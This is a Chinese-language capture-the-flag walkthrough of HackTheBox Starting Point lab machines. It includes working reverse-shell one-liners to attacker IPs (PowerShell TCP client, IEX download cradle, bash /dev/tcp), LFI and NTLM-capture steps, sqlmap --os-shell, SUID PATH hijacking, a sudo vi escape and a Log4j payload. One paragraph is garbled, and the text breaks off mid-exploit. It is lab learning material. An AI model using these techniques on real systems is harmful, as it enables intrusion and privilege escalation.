Meow(telnet)

image-20230329161813096

image-20230329152247821

怎么先完成vpn的配置,记得上面的vpn数字要选一样的,不然ping不通,

还有一点就是先关闭靶机在关闭vpn,不然的话得等好几个小时才能重新连接vpn

先ping一下,看一下靶机是否存活

image-20230329152446543

有返回了,代表存活

然后扫一下端口

image-20230329152518368

发现23端口是打开的,并且是telnet服务的

因为telnet是远程登录服务器服务,尝试用这个服务区登录一下

telnet xxxxxxxx

image-20230329152843423

image-20230329152903431

最后猜的root用户,然后登录成功

拿到flag

Fawn(ftp)

image-20230329161804441

image-20230329153208092

可以ping通,说明主机存活

然后进行nmap扫描

-sV 探测服务/版本信息 我们可以看到 开放21端口的ftp协议 版本是 vsftpd 3.0.3

image-20230329153834657

目标上运行的操作系统类型是Unix

对ftp进行补充一下

FTP没有账户时候我们的username: anonymous 采用匿名访问;

对于FTP我们每次操作服务器都会给我们回应状态码 不同状态码对应不同的的含义:

image-20230329154248434

比如用户登录成功 服务器就会返回230状态码;

在这个ftp服务器上是不能直接cat读取文件的,我们得进行get外带

下载文件

下载文件通常用get和mget这两条命令。 a) get 格式:get [remote-file] [local-file] 将文件从远端主机中传送至本地主机中。 如要获取远程服

ftp> get /usr/your/1.htm 1.htm (回车)

b) mget       格式:mget [remote-files] 从远端主机接收一批文件至本地主机。 如要获取服务器上/usr/your/下的所有文件,则

ftp> cd /usr/your/ ftp> mget *.* (回车)

先用ftp 连接 服务器 采用匿名登录 无密码 查询服务器 文件 发现flag 进行下载 然后本地读取

image-20230329154621851

匿名访问,没有密码

image-20230329154739182

然后就可以本地当前目录下查看flag了

image-20230329154822624

通关

Dancing(SMB)

image-20230329161824778

还是先ping下

image-20230329155320103

可以ping通,说明主机存活

SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统
简而言之就是个传输文件 文件共享用的协议 跟FTP差不了太多。

image-20230329160924545

使用nmap扫一下,发现开了三个端口

135: msrpc (MicroSoft Remote Procedure Call,微软远程过程调用) 这是windows系统特有的服务
139:netbios-ssn 用于提供文件共享服务,主要用于企业内部网之间互相访问 也是微软的服务
445:就是我们说的SMB
尝试连接SMB 密码为空 连接成功:

image-20230329161145722

可以看到有WorkShares 的目录 可以访问 ,进行访问
smbclient //10.129.71.90/WorkShares
找了一下flag.txt 发现 没有 于是进入别的目录找 在James.P下找到

image-20230329161314793

image-20230329161347826

通关

Redeemer(Redis)

image-20230329161840375

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。redis的默认端口号是6379。

还是先ping一下

image-20230329162205909

接下来扫一下默认端口

前面没扫到是因为nmap默认的端口好是1-1000

image-20230329162326905

image-20230329162446458

扫到redis版本了

通过redis-cli尝试连接

image-20230329162733702

连接成功,通过输入 info 查看redis服务信息与状态,发现数据库名与Key个数,通过查看数据库内容发现flag

image-20230329162841616

image-20230329162921188

通关

(vip的题做不了) ——> 只能去做 下一个板块免费的题了

Appointment(sql注入)

image-20230329164816236

先ping一下

image-20230329164831717

ping通了

这题得开kali的图形化界面了,因为这里考察的点是sql注入

这里连接openvpn的时候,machine要连接udp,start-point要连接tcp

不然的话靶机用不了

扫一下端口

image-20230330143929462

发现80默认端口打开,image-20230330144058574

然后尝试一下弱密码,发现不行后在尝试一下万能密码注入试试

image-20230330144149273

万能密码注入成功

通关

Sequel(mysql)

考点

image-20230330145212076

还是先ping一下

image-20230330145240338

能通,扫一下端口号

image-20230330145921057

扫完了,发现开了个3306端口,是mysql的默认端口号

然后我们尝试连接一下数据库(没安装mysql的自己手动安装一下)

image-20230330150224251

这里的密码为空就不填了(root用户(就是用户名)允许无密码登录)

image-20230330150343364

连接成功

接下来就是利用sql语句来查询了

image-20230330150501495

最后拿到flag

通关

Crocodile(ftp和web网页)

image-20230330150804673

还是先ping一下

image-20230330150834777

接下来扫一下端口

image-20230330151245444

扫出来老朋友ftp了,还有这个80端口的web网页,那我们还是先去看一下这个ftp

image-20230330151515067

image-20230330151620224

直接把ftp服务器上的账号密码全给提取到本地了

image-20230330152635235

访问网站看到这玩意(打开真慢)

然后利用gobuster扫一下网站

gobuster dir -u http://10.129.98.232 -w /usr/share/wordlists/dirb/common.txt

dir —-> 是扫目录

dns —->爆破dns

vHost —-> 扫子域

image-20230330152958204

发现存在301重定向(302也是),然后去访问一下

在访问到http://10.129.98.232/dashboard/的时候,跳转到了

image-20230330153223984

然后我们就拿之前在ftp服务器获取的账号密码进行登录

image-20230330153317372

通关

Responder()

考点

image-20230330154052951

考点挺多的啊

老样子还是能ping通

image-20230403154945808

但是就是端口扫描太慢了

这里就拿一下别人扫出的端口号

nmap的一些指令的用法

借用一下,-sS 使用 SYN 扫描,因为 TCP 扫描会经历三次握手耗费大量时间,-Pn 是禁 ping 主机,防止被防火墙过滤而漏扫,但是我们只有一个主机,所以没什么影响,-n 不解析域名,-open 只输出开放端口,结果扫描到 3 个端口,而且注意 5985 端口扫描出的服务也有所不同

image-20230403160224371

这个 wsman 全称是 Windows Remote Managemen(WS_Management) ,如果使用 Win7 或者Windows 2003 Server以上版本的操作系统,微软在系统中已经自带了支持WSMAN 的管理客户端,叫做 winrm,它可以提供远程 powershell 管理服务,听起来就比较危险

扫到了这几个端口号,但是去访问80的时候却报错,然后重定向到了另一个域名处

image-20230403160317545

5985端口也是一样(但是没有重定向)

image-20230403160622798

7680端口也是这样,没有重定向

我们知道如果想通过域名访问一个网站的话,是需要进行 dns 解析的,我们直接输入 IP 地址发现被重定向到了 unika.htb 这个域名,但是这个域名没有办法解析到对应的 IP 地址,所以我们需要通过修改 hosts 文件来确定 IP 地址

修改host进入网址

image-20230403161118887

添加后,就可以成功进入网址了

image-20230403161144380

再次访问,出现页面,这个网站是通过虚拟主机搭建的,也就是多个网站搭建在一台服务器上,一般现实环境中是不能通过虚拟主机的 IP 直接访问的,而是通过 A 记录(把域名解析到一个IP地址)或 CNAME 记录 (把域名解析到另外一个域名)解析出域名后,再进行下一次域名解析来访问

查看网站有哪些功能

查看网站功能
测试 web 应用程序可以重点关注交互功能,我们能控制哪些输入,又如何被后端处理,会不会以及怎么输出? 静态的网站基本上不会有漏洞的

点了点网站,也是很常见的公司产品官网(?不知道怎么分类,就是静态页面为主),只有一个留言功能和一个语言切换功能有数据包请求,剩下都是由前端完成资源锚点跳转的

请求这两个功能分别是两个 html 页面的请求,但是都是跳转到首页最上方

简单来说就是这里的话只有点击切换语言和发送评论功能才会有跳转,其他都是静态页面

image-20230403161618815

点击切换语言的时候,会有这个东西出现,感觉有点文件包含的意思

探测漏洞—文件包含

到这里有一个 page 参数,输入文件名,那么这个地方比较大可能存在的漏洞就是文件包含漏洞,我们在初级靶场也接触过,测试一下?

随便输入,发现报错返回了路径,使用的 xampp,一种比较常用的一键式集成环境搭建的网站,默认是将脚本文件放到 xampp/htdocs 目录下运行

image-20230403162422210

很明显的windows环境 出现了 C://

有什么特殊的敏感文件吗? 我们可以尝试查看 hosts 文件 敏感文件

image-20230403163615076

1
http://unika.htb/index.php?page=../../../../../../../../../../windows/system32/drivers/etc/hosts

直接用盘符也行

image-20230403163704273

1
http://unika.htb/index.php?page=C://windows/system32/drivers/etc/hosts

那么如何进一步利用呢?两种思路,一是写入或包含远程后门文件,然后连接,还有是继续信息收集 windows 系统的账号密码信息,进行登录

我们测试一下远程文件包含,我们知道远程文件包含还需要两个条件

1
allow_url_include、allow_url_fopen 为 ON

image-20230403164006812

发现没开,所以说明远程文件包含也用不了了

那么咱就继续进行信息收集去

我们知道这个⽹⻚容易受到⽂件包含漏洞的影响,并且在 Windows 机器上提供服务。因此,存在在我们的攻击者⼯作站上包含⽂件的可 能性。如果我们选择像 SMB 这样的协议,Windows 将尝试对我们的机器进⾏⾝份验证,并且我们可以捕获NetNTLMv2.

利用 SMB 窃取 NTLM hash

image-20230403201415201

image-20230403201426613

image-20230403201445815

SMB 协议支持 NTLM 和 LM 加密,我们通过恶意程序监听,在远程主机访问我们的 SMB 服务时,因为要进行身份验证,会发送相关信息,我们就可以获取目标主机的 hash 值,这个是为了账号密码的安全性,一般都不进行明文验证,而是使用摘要值进行比对,这样就给了我们可乘之机,不需要知道正确的账号密码,只要摘要值比对成功就可以登录

下载工具,使用其进行监听

1
git pull https://github.com/lgandx/Responder 

确认是否支持 SMB 请求

image-20230403202210015

监听 tun0 ,之前有一次靶机提到过,该 IP 是和目标机器一个网络下的 10 段 IP

1
python3 Responder.py -I tun0 

image-20230403202438515

image-20230403202457127

我们使用 curl 命令来请求 url

1
curl -v http://unika.htb/index.php?page=//10.129.158.196/csd 

这里的话要拿tun0的ip地址

不是拿题目的ip地址

我们发现成功接收到服务器的的 NTLM 值,一般是第一次请求才会发送,然后会保存到本地,下次就不会再发送了

接下来不写了 弹不成功,获得不了请求

wp

文章1

文章2 ——> 可能打不开 这是在hackthebox里面的官方文档,本地的1.pdf是中文翻译过来的

three

考点

image-20230404202036676

还是老样子,先ping一下

image-20230404202059303

接下来就行端口扫描

image-20230404202338133

扫到了两个端口

扫描发现开放 22 和 80 两个端口,22 是 ssh 服务,登录分为账号密码登录和公钥登录

1
2
ssh username@ip
ssh ip

没有登录成功,看80端口

是一个乐队的官网,apache2.4.29 、linux 系统、php ,功能有搜索,买票,联系我们,不过都只是做个页面,没有实际的请求交互

尝试目录爬取和爆破,没有什么有用的信息…

Email: mail@thetoppers.htb 看到了邮箱,然后把靶机 ip 和域名进行绑定,然后进行子域名爆破,不要问为什么这么做,学着点就行了

image-20230404210616587

发现只有这个域名有用,但我们直接访问这个域名的时候却没有打开这个网址,应该就是没有配置hosts的原因,和上面的Responder是一个考点

修改后是直接能访问这个网址的

子域名爆破,这个问题,因为我们现在只能解析靶机IP和它对应的域名,子域名如何解析?即使是同一个IP的子域名,在没有修改 hosts 文件时也是无法访问的,工具又是如何判断爆破的子域名存在呢?

使用 gobuster 爆破,字典也是从别的工具里借用的,但是字典太大了,就提前结束了

1
gobuster vhost -w /usr/share/wordlists/domain_dic.txt -u http://thetoppers.htb

反正就是找到了一个子域名

s3.thetoppers.htb

vhost 的主要功能是枚举某个服务上部署的所有虚拟主机,其原理是通过构造 HTTP 请求头,将字典中的域名设置到 HTTP 请求头到 HOST 字段,然后通过 IP 请求网站,如果是该域名的虚拟主机,那么请求会返回该域名下的网站内容,如果不是,则返回通过 IP 访问获得的资源而非域名下的资源

然后接下来还是修改hosts

image-20230404221641973

image-20230404221721024

成功了

image-20230404221802636

使用的 hypercorn 这是一个 ASGI 服务器,启用后监听8000端口云云,不用了解太多

ASGI(异步服务器网关接口)是WSGI的精神继承者,旨在在具有异步功能的Python Web服务器,框架和应用程序之间提供标准接口

AWS S3 拿shell

s3 👉 AWS S3 全名是 Amazon Simple Storage Service ,简便的对象存储服务,存储的数据类似键值对的形式,就是对象名:数据

1
2
apt install awscli       // 安装工具 
aws configure // 配置

image-20230406091400477

前两项配置是用户凭证,通过什么身份连接到 AWS 存储库,第三个是区域信息,第四个是输出格式,为什么都是 temp 我也不懂,可能是设置的

通过工具访问并执行命令

1
2
aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

image-20230406091950627

发现存在.htaccess,文件上传对这个很熟悉,然后我们就尝试进行文件上传看看‘

image-20230406092738942

上传成功 成功获取 webshell 权限

这里没复现成功 。。。。。

Archetype

考点

image-20230407142721508

工具介绍
smbclient
Smbclient(samba client)是基于SMB协议的,用于存取共享目标的客户端程序。
参数:

网络资源 网络资源的格式为//服务器名称/资源分享名称。

密码 输入存取网络资源所需的密码。

-B 传送广播数据包时所用的IP地址。

-d< 排错层级> 指定记录文件所记载事件的详细程度。

-E 将信息送到标准错误输出设备。

-h 显示帮助。

-i< 范围> 设置NetBIOS名称范围。

-I 指定服务器的IP地址。

-l< 记录文件> 指定记录文件的名称。

-L 显示服务器端所分享出来的所有资源。

-M 可利用WinPopup协议,将信息送给选项中所指定的主机。

-n 指定用户端所要使用的NetBIOS名称。

-N 不用询问密码。

-O< 连接槽选项> 设置用户端TCP连接槽的选项。

-p 指定服务器端TCP连接端口编号。

-R< 名称解析顺序> 设置NetBIOS名称解析的顺序。

-s< 目录> 指定smb.conf所在的目录。

-t< 服务器字码> 设置用何种字符码来解析服务器端的文件名称。

-T 备份服务器端分享的全部文件,并打包成tar格式的文件。

-U< 用户名称> 指定用户名称。

-W< 工作群组> 指定工作群组名称。

psexec
用于远程连接的工具

还是先ping一下

image-20230407142755841

接下来时扫一下端口

image-20230407143003810

这里面的135和139端口没啥用

对445端口进行检测

smbclient -L // -L 列出所有共享用户

image-20230407143417585

这里时空密码登录,存在backups匿名用户,可进行登录

image-20230407143638426

匿名登录成功后,然后下载当前目录下的文件进行查看

image-20230407144159804

可以看到这个文件是sqlserver的配置文件

image-20230407143745285

存在数据库账号密码,然后就去查看1433端口,这个端口存在数据库

检测1433端口

拿到了SQLSERVER的密码和账号,我们可以尝试登陆sqlserver
登录sqlserver似乎有很多工具,我使用的是impacket包example文件夹中的mssqlclient.py脚本,主要是刚好最近在学习内网时用到
要使用impacket包要要先安装impacket工具包

1
2
3
4
sudo git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
sudo pip3 install .
sudo python3 setup.py install

image-20230407144746945

成功登录数据库

查看SELECT IS_SRVROLEMEMBER ( 'sysadmin ' ),发现是SA权限

image-20230407145741555

image-20230407145843746

因此我们可以尝试使用xp_cmdshell来获取RCE

使用的函数为xp_cmdshell(能帮助我们拿到主机的shell),xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
开启xp_cmdshell命令如下:

1
2
3
4
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效

可以通过exec sp_configure查看xp_cmdshell状态:
exec sp_configure

image-20230407150243802

能成功执行代表配置成功了

看一下权限和ip

image-20230407150500391

成功执行命令

然后其实我们就可以通过RCE直接读取到位于sql_svc用户桌面的flag,但是为了提高难度决定要拿到shell
通过RCE可以判断出目标电脑没有安装java、php、python等主流编程语言,也没有安装netcat,所以有一些反弹shell的方法无法做到

image-20230407150700760

所以打算用powershell的脚本进行反弹shell
尝试使用了nishang的反弹,但是没有成功,而且在这个函数下很多命令都无法正常的执行,最后只能用简单的ps1的脚本进行反弹

折腾了半天,才把shell弹成功

image-20230407154522057

先创建一个文件 shell.ps1

1
2
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.8",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

然后在文件所在目录开一个python web服务器给sqlserver访问

1
python3 -m http.server 80

然后监听端口

1
nc -lvvp 4444

最后在sql那边输入命令

1
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.21/shell.ps1\");""

然后就反弹成功,就可以求拿普通用户的flag了

此 flag 放在普通用户的桌面 (Windows下读取文件内容的命令为 type)

1
type C:\Users\sql_svc\Desktop\user.txt

image-20230407154856367

接下来就是提权了 就是为了拿到管理员账户的flag

提权

获取的当前用户是 svc 用户,用于运行数据库。管理员权限需要再获取。

本靶场提权的思路是,查看 powershell 的命令执行记录获取密码。

密码存储在ConsoleHost_history.txt中

1
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

这里可以打开自己的windows电脑来查看,位置是一样的

image-20230407155250444

可以看到这里使用net use 开放了一个文件共享

该命令的作用是将主机上的backups文件夹映射到自己的T盘,后面是主机的用户名和密码。

使用psexec提权,其原理是:

1
2
3
4
5
6
7
8
1.通过ipc$连接,释放psexecsvc.exe到目标

2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。

3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。

4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug。

另起终端执行

这个执行命令和ssh差不多

1
impacket-psexec administrator@10.129.32.130

image-20230407155626594

拿到机器的管理员shell

image-20230407155835471

拿到管理员的flag了

image-20230407155913391

折腾了好久终于结束了。。。。。。

总结

通过nmap扫描发现存在 445,1433开放。smbclient 列出目标smb共享用户发现可以匿名访问,发现数据库账号密码 通过impacket 里的mssqlclient 连接上
发现是sa权限 获得命令执行 通过python3 搭建简易web服务器
让目标下载powershell脚本并执行 在目标桌面发现第一个flag 查看powershell历史记录。直接看见管理员账户密码,再用impacket里的psexec连接。

Oopsie

考点

image-20230407160549375

还是先ping一下

image-20230407163342232

能ping成功,开始扫一下端口

image-20230407163658165

扫到两个端口,80端口的version看起来像一个可以访问的网址

ssh先去尝试一下能不能无密码连接

发现不能后访问一下网站

image-20230407164019071

就是一个静态页面

访问80端口后,使用小插件获取到 login 的敏感路径。(叫 findsomething ,火狐及Chrome均可在对应插件商店下载)

image-20230407164340474

找到有个敏感登录路径

image-20230407164509757

得到一个登录框

发现可使用 guest 账户登录。猜测进去后越权。

越权

image-20230407164712966

成功登进去后

image-20230407164800998

发现有个upload提示只有管理员才可以进行上传,我们查看下cookie,看可不可以伪造cookie进行admin登录

image-20230407164938115

发现可以伪造cookie进行登录

尝试更改role 为admin,再访问 upload 功能,仍无法打开。则应是通过 user 的值判断是否为admin

那 admin 的值为多少呢? 我第一反应是爆破。后来发现思路不对。正确思路是在 account 模块下发现了

image-20230407165104564

这样就能获取到admin的accessid了

更改下方 user 的 value 值为 34322 ,访问 upload 模块

image-20230407165220653

成功伪造成管理员账户了,那么我们就尝试进行上传木马看看

1
vim /usr/share/webshells/php/php-reverse-shell.php

将ip修改后就行了

image-20230407172124011

image-20230407171925546

上传成功木马文件,然后我们就去扫一下网站目录,看一下上传目录在哪,然后去访问上传目录的木马就可以反弹shell了(使用gobuster工具)

1
gobuster dir --url http://10.129.95.204/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php

image-20230407173155112

扫到了uploads文件,估计就是这个目录存在上传文件,然后我们直接去访问看看

image-20230407174631148

访问后成功反弹shell

image-20230407174723910

/var/www/html 是web服务的目录,即网站的目录。这里的 cdn-cgi目录下发现了 db.php

里面有连接数据库的账户密码

image-20230407174809784

1
2
robert
M3g4C0rpUs3r!

在 robert 的用户目录,发现他的flag

image-20230407174929348

拿到普通用户的flag

提权

简谈SUID提权

这里考点就是这个提权

目前拿到的是www-data用户的bash的执行权(执行 whoami 查看即可)、以及一个数据库的账户密码。因为在 home 文件夹下也发现了此账户,猜测此账户的密码与其数据库密码一致。

配合最开始的ssh端口,想到先远程登录一下。

1
ssh robert@10.129.95.204

image-20230407175212192

登录成功,果然和数据库的账户密码是一样的

如果未开放ssh端口,仍要从 bash 转换为 伪终端,可执行

1
python3 -c "import pty; pty.spawn('/bin/bash')"

再切换到 robert账户。不过这样不稳定,毕竟还是基于反弹shell连接的。

image-20230407175356208

如何获得 root 权限呢?在上一个靶场中,我们通过查看 powershell 的命令记录获取到 Administrator 的权限,这次使用 SUID提权的方法。

简谈SUID提权 - FreeBuf网络安全行业门户

在本靶场中,如果 robert 用户执行的文件从属于 root 用户,就会用root用户的权限执行文件。

查看 robert 所在用户组、搜索可执行的文件、并查看该文件有没有 s 权限

s权限就是看是否含有suid权限,有的话就可以利用来进行提权了

查找是否含有s权限

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

find / -perm -4000 2>/dev/null 查找具有suid权限的文件
2>/dev/null
意思就是把错误输出到“黑洞”,/dev/null被称为黑洞

0——标准输入(stdin)
1——标准输出(stdout)
2——标准错误(stderr)

image-20230407175648124

找到一个有用的了

bugtracker 这里会通过输入的数字来显示 bug
输入一个不存在的数字 这里显示了cat 不到
这里是用root权限去调用cat

image-20230407175915391

1
2
调用cat命令没有使用cat命令的绝对路径,而是使用绝对路径调用的,即在当前用户的 P A T H 环 境 变 量 指 定 的 路 径 中 搜 寻 c a t 命 令 。 可 以 创 建 一 个 名 为 c a t 的 恶 意 命 令 , 并 修 改 当 前 用 户 的 PATH环境变量指定的路径中搜寻cat命令。 可以创建一个名为cat的恶意命令,并修改当前用户的 PATH环境变量指定的路径中搜寻cat命令。可以创建一个名为cat的恶意命令,并修改当前用户的PATH值以使bugtracker调用恶意cat命令,以获取root权限。
切换到robert用户身份,将/tmp目录设置为P A T H 环 境 变 量 的 第 一 个 目 录 , 切 换 到 / t m p 目 录 下 构 造 恶 意 c a t 命 令 并 赋 予 执 行 权 限 。 当 b u g t r a c k e r 再 次 调 用 c a t 命 令 时 实 际 上 调 用 的 是 / t m p 目 录 下 的 恶 意 c a t 命 令 ( s h e l l 执 行 命 令 时 按 照 PATH环境变量的第一个目录,切换到/tmp目录下构造恶意cat命令并赋予执行权限。当bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意cat命令(shell执行命令时按照PATH环境变量的第一个目录,切换到/tmp目录下构造恶意cat命令并赋予执行权限。当bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意cat命令(shell执行命令时按照PATH环境变量中目录的顺序搜索,搜索到即开始执行),此时robert用户临时具有了root权限,上面的id命令可以看出只是robert用户的uid变为了root,不是真正的root用户。

简单来说就是因为调用cat命令的时候使用path里面搜索的,从前往后依次搜索,谁在前有就调用谁的,所以问们就可以自己定义一个路径在最前面,然后里面有cat命令,然后就会以uid(root)用户的身份执行cat

现在如果我们伪装 “/bin/bash” 为 cat,那么执行 此程序时,就会获得 root权限的shell

image-20230407180615180

这样的话/tmp就在最前面了

image-20230407180936729

image-20230407181013708

这里不能使用cat的原因是cat被我们修改了

vaccine

考点

image-20230408152244023

image-20230408152401774

能ping通

去扫一下端口

image-20230408152523785

扫到三个端口 一个是ftp服务器端口 一个是ssh端口 一个是80端口(看起来像是一个网站)

然后还是老思路尝试一下可不可以进行匿名登录

image-20230408152820068

匿名登录成功

查看文件,竟然有压缩包,看这名称,大概率是源码,下载

image-20230408153021471

然后尝试进行解压查看

image-20230408153128680

发现需要密码才能查看源码

尝试ssh登录,不行,有密码且不是弱类型密码

image-20230408153321269

没有头绪后查看一下这个网址,发现是这个登录框,于是尝试一下万能密码登录,弱密码 sqlmap啥的 发现不太行

image-20230408153614411

然后尝试一下扫一下这个网站的目录看有没有啥发现 也没啥可用的东西 那么我们就尝试一下破解压缩包的密码

没别的,暴破,使用在 Responder 接触过的 john 工具

1
2
zip2john backup.zip > hash.txt 
这个是将backup.zip 的哈希导出
1
john -wordlist=/usr/share/wordlists/rockyou.txt hash.txt

image-20230408155800420

然后得出解码的密码是741852963

然后就去查看源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<!DOCTYPE html>
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>MegaCorp Login</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700" rel="stylesheet"><link rel="stylesheet" href="./style.css">

</head>
<h1 align=center>MegaCorp Login</h1>
<body>
<!-- partial:index.partial.html -->
<body class="align">

<div class="grid">

<form action="" method="POST" class="form login">

<div class="form__field">
<label for="login__username"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#user"></use></svg><span class="hidden">Username</span></label>
<input id="login__username" type="text" name="username" class="form__input" placeholder="Username" required>
</div>

<div class="form__field">
<label for="login__password"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#lock"></use></svg><span class="hidden">Password</span></label>
<input id="login__password" type="password" name="password" class="form__input" placeholder="Password" required>
</div>

<div class="form__field">
<input type="submit" value="Sign In">
</div>

</form>


</div>

<svg xmlns="http://www.w3.org/2000/svg" class="icons"><symbol id="arrow-right" viewBox="0 0 1792 1792"><path d="M1600 960q0 54-37 91l-651 651q-39 37-91 37-51 0-90-37l-75-75q-38-38-38-91t38-91l293-293H245q-52 0-84.5-37.5T128 1024V896q0-53 32.5-90.5T245 768h704L656 474q-38-36-38-90t38-90l75-75q38-38 90-38 53 0 91 38l651 651q37 35 37 90z"/></symbol><symbol id="lock" viewBox="0 0 1792 1792"><path d="M640 768h512V576q0-106-75-181t-181-75-181 75-75 181v192zm832 96v576q0 40-28 68t-68 28H416q-40 0-68-28t-28-68V864q0-40 28-68t68-28h32V576q0-184 132-316t316-132 316 132 132 316v192h32q40 0 68 28t28 68z"/></symbol><symbol id="user" viewBox="0 0 1792 1792"><path d="M1600 1405q0 120-73 189.5t-194 69.5H459q-121 0-194-69.5T192 1405q0-53 3.5-103.5t14-109T236 1084t43-97.5 62-81 85.5-53.5T538 832q9 0 42 21.5t74.5 48 108 48T896 971t133.5-21.5 108-48 74.5-48 42-21.5q61 0 111.5 20t85.5 53.5 62 81 43 97.5 26.5 108.5 14 109 3.5 103.5zm-320-893q0 159-112.5 271.5T896 896 624.5 783.5 512 512t112.5-271.5T896 128t271.5 112.5T1280 512z"/></symbol></svg>

</body>
<!-- partial -->

</body>
</html>

ftp服务器上的压缩包给了源码 源码里面有了账号和密码但是密码是md5加密过的,那我们就尝试进行md5解密查看一下

image-20230408160129305

查到密码,尝试进行网站登录

image-20230408160208170

成功登录

其实这个密码就是个弱口令 然后它输入密码的时候没有进行限制,我们其实可以抓包然后爆破他的密码

image-20230408160429553

它这个url存在一个类似sql注入的玩意 所以我们还是可以进行sql注入一下

加了个单引号就很不争气的露出马脚了,以前讲过报错注入,但是我们最终的目的是获取一定权限,那就要用到 --os-shell

image-20230408160608750

简单的查询爆出了sql语句 更加说明了存在sql注入了

那么我们就直接上sqlmap了

1
sqlmap -u http://10.129.247.81/dashboard.php?search=1 --cookie="PHPSESSID=e3ip6sjdos4nrjq6qcoi3vs2k4" --os-shell

这里的话必须得加上cookie不让获取不成功

因为它的权限也很低,我连看文件都看不了,继续用 bash 命令连 nc

image-20230408161800060

1
2
nc -lvnp 443
bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"

image-20230408161903638

成功把shell弹过来了

然后就进行文件的查看

image-20230408162756772

image-20230408162735318

发现数据库的账号密码

然后由于这里扫端口的时候没发现有数据库的端口

于是就猜测是不是ssh的端口的账号密码

image-20230408163006747

果然是,登录成功

image-20230408163030228

拿到user的root,那还有root用户的,所以我们就尝试进行提权

sudo -l ———》 -l 显示出自己(执行 sudo 的使用者)的权限

image-20230408163253349

发现此用户 /bin/vi 处理/etc/postgresql/11/main/pg_hba.conf 具有root权限

所以就使用vi来进行提权

我们可以以 root 权限编辑 pg_hba.conf 文件,输入下面语句,分两次编辑

1
2
3
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/sh :wq 保存退出
:shell 回车

image-20230408165233922

这里给我折腾了好久,是写入:set shell=/bin/sh,然后在编辑wq处那输入shell

这里这个提权和suid那个差不多

Unified(java - Log4j CVE-202144228)

考点

image-20230408170926892

现ping一下image-20230408171010357

接下来就是端口扫描了(这里扫的太慢了,就直接拿别人扫的端口来用了)

1
2
3
4
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp open ibm-db2-admin?
8080/tcp open http-proxy
8443/tcp open ssl/nagios-nsca Nagios NSCA

就是这些常规的端口

SSH 登录尝试失败,6789 端口是 db2 数据库的管理端口,8080 端口是个代理转发端口,访问会重定向到 8443 端口是 UniFi 6.5.54 产品的页面,发现该版本存在 CVE-2021-44228 漏洞

image-20230409161734932

然后发现这个版本的unifi存在漏洞,就是上面写的CVE漏洞 直接搜就能搜出这个CVE

漏洞复现

尝试复现 CVE-2021-44228,曾经风靡一时的漏洞 Apache log4j,这是 java 比较常用的日志监控组件

原理就是我们创建一个恶意服务,服务器请求执行,达到控制的目的,以rmi为例

1
RMI是Java的一组拥护开发 分布式应用程序 的 API 。 RMI使用Java语言 接口 定义了远程对象,它集合了Java序列化和Java远程方法协议 (Java Remote Method Protocol)。 简单地说,这样使原先的程序在同一操作系统的方法调用,变成了不同操作系统之间程序的方法调用

image-20230409163952178

怎么证明的看这篇文章,这里我就不写了 ——-> 文章

证明了漏洞存在,接下来进行漏洞的exp利用

ldap 轻量级目录访问协议,默认端口389,如果存在漏洞发送payload消息,会发送数据报文到本机389端

漏洞利用

1
2
3
4
5
6
7
8
9
10
准备工具:
1.openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y
2.Maven
sudo apt-get install maven -y
3.编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
rogue-jndi:开启本机ldap服务,允许接收其他服务器数据,可执行代码

准备payload,输出base64编码

反弹shell

1
2
echo 'bash -c bash -i >&/dev/tcp/10.10.16.24/4444 0>&1' |base64 
YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjQvNDQ0NCAwPiYxCg==

搭建 ldap 服务器,传递 payload

1
2
